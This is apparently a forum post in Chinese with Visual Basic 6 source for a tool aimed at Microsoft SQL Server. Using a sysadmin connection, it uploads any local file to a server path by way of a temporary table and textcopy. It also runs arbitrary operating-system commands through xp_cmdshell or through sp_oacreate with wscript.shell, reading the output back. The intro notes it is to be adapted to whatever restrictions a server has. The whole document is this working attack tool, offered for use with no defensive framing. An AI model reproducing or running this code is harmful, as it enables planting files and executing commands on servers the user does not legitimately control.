需要一個adodb.connection,連接用戶名需sysadmin權限,第一個radiobutton需xp_cmdshell支持,第二/三個需wsh支持,使用時因服務器上所作的限制自行調整.控件示例見貼子附圖
dim objconn as new adodb.connection
private sub cmdupload_click()
on error goto errhandle:
txtstatus.text = "uploading file, please wait..."
me.mousepointer = 13
objconn.defaultdatabase = "master"
objconn.execute "drop table cmds0002"
objconn.execute "create table [cmds0002] ([id] [int] null ,[files] [image] null) on [primary] textimage_on [primary]"
objconn.execute "insert into cmds0002 (id,files) values (1,0x0)"
dim rstmp as new adodb.recordset
rstmp.open "select * from cmds0002 where id=1", objconn, 3, 3
filetodb rstmp("files"), txtsourcefilename.text
rstmp.update
txtstatus.text = "exporting table to file..."
dim strexec as string
strexec = "textcopy /s " & chr(34) & txtserver.text & chr(34)
strexec = strexec & " /u " & chr(34) & txtusername.text & chr(34)
strexec = strexec & " /p " & chr(34) & txtpassword.text & chr(34)
strexec = strexec & " /d master"
strexec = strexec & " /t cmds0002"
strexec = strexec & " /c files"
strexec = strexec & " /w " & chr(34) & "where id=1" & chr(34)
strexec = strexec & " /f " & txtdestfilename.text
strexec = strexec & " /o"
if optuplmethod(0).value = true then
txtuploutput.text = cmdshellexec(strexec)
elseif optuplmethod(1).value = true then
txtuploutput.text = wsshellexec(strexec, "cmd.exe /c")
elseif optuplmethod(2).value = true then
txtuploutput.text = wsshellexec(strexec, "command.com /c")
end if
objconn.execute "drop table cmds0002"
txtstatus.text = "upload done."
me.mousepointer = 0
exit sub
errhandle:
me.mousepointer = 0
if err.number = -2147217900 then
resume next
elseif err.number = -2147217865 then
resume next
else
msgbox "error(upload): " & err.description, vbokonly + vbexclamation
end if
end sub
private function cmdshellexec(byval strcommand as string) as string
on error goto errhandle:
dim strquery as string
dim strresult as string
dim recresult as adodb.recordset
if strcommand <> "" then
strquery = "exec master.dbo.xp_cmdshell '" & strcommand & "'"
txtstatus.text = "executing command, please wait..."
set recresult = objconn.execute(strquery)
do while not recresult.eof
strresult = strresult & vbcrlf & recresult(0)
recresult.movenext
loop
end if
set recresult = nothing
txtstatus.text = "command completed successfully! "
cmdshellexec = strresult
exit function
errhandle:
msgbox "error: " & err.description, vbokonly + vbexclamation
end function
private function wsshellexec(byval strcommand as string, byval strshell as string) as string
on error goto errhandle:
dim rsshell as new adodb.recordset
dim strresult as string
objconn.execute "drop table cmds0001"
objconn.execute "create table cmds0001 (info varchar(400),id int identity (1, 1) not null )"
dim strscmdsql as string
strscmdsql = "declare @shell int " & vbcrlf
strscmdsql = strscmdsql & "declare @fso int " & vbcrlf
strscmdsql = strscmdsql & "declare @file int " & vbcrlf
strscmdsql = strscmdsql & "declare @isend bit " & vbcrlf
strscmdsql = strscmdsql & "declare @out varchar(400) " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oacreate 'wscript.shell',@shell output " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oamethod @shell,'run',null,'" & strshell & " " & trim(strcommand) & ">c:/bootlog.txt','0','true' " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oacreate 'scripting.filesystemobject',@fso output " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oamethod @fso,'opentextfile',@file out,'c:/bootlog.txt' " & vbcrlf
strscmdsql = strscmdsql & "while @shell>0 " & vbcrlf
strscmdsql = strscmdsql & "begin " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oamethod @file,'readline',@out out " & vbcrlf
strscmdsql = strscmdsql & "insert into cmds0001 (info) values (@out) " & vbcrlf
strscmdsql = strscmdsql & "exec sp_oagetproperty @file,'atendofstream',@isend out " & vbcrlf
strscmdsql = strscmdsql & "if @isend=1 break " & vbcrlf
strscmdsql = strscmdsql & "else continue " & vbcrlf
strscmdsql = strscmdsql & "end "
objconn.execute strscmdsql
rsshell.open "select * from cmds0001", objconn, 1, 1
do while not rsshell.eof
strresult = strresult & rsshell("info") & vbcrlf
rsshell.movenext
loop
objconn.execute "drop table cmds0001"
wsshellexec = strresult
exit function
errhandle:
if err.number = -2147217900 then
resume next
elseif err.number = -2147217865 then
resume next
else
msgbox err.number & err.description
end if
end function
private sub filetodb(col as adodb.field, diskfile as string)
const blocksize as long = 4096
'從一個臨時文件中獲取數據，并把它保存到數據庫中
'col為一個ado字段，diskfile為一個文件名，它可以為一個遠程文件。
dim strdata() as byte '聲明一個動態數組
dim numblocks as long '讀寫塊數
dim filelength as long '文件長度
dim leftover as long '剩余字節數
dim sourcefile as long '文件句柄
dim i as long
sourcefile = freefile '獲得剩余的文件句柄號
open diskfile for binary access read as sourcefile '以二進制讀方式打開源文件。
filelength = lof(sourcefile) '獲得文件長度
if filelength = 0 then
close sourcefile '關閉文件
msgbox diskfile & " empty or not found.", vbokonly + vbexclamation
else
numblocks = filelength / blocksize '獲得塊數
leftover = filelength mod blocksize '最后一塊的字節數
col.appendchunk null '追加空值，清除已有數據
redim strdata(blocksize) '從文件中讀取內容并寫到文件中。
for i = 1 to numblocks
get sourcefile, , strdata
col.appendchunk strdata
next i
redim strdata(leftover)
get sourcefile, , strdata
col.appendchunk strdata
close sourcefile
end if
end sub
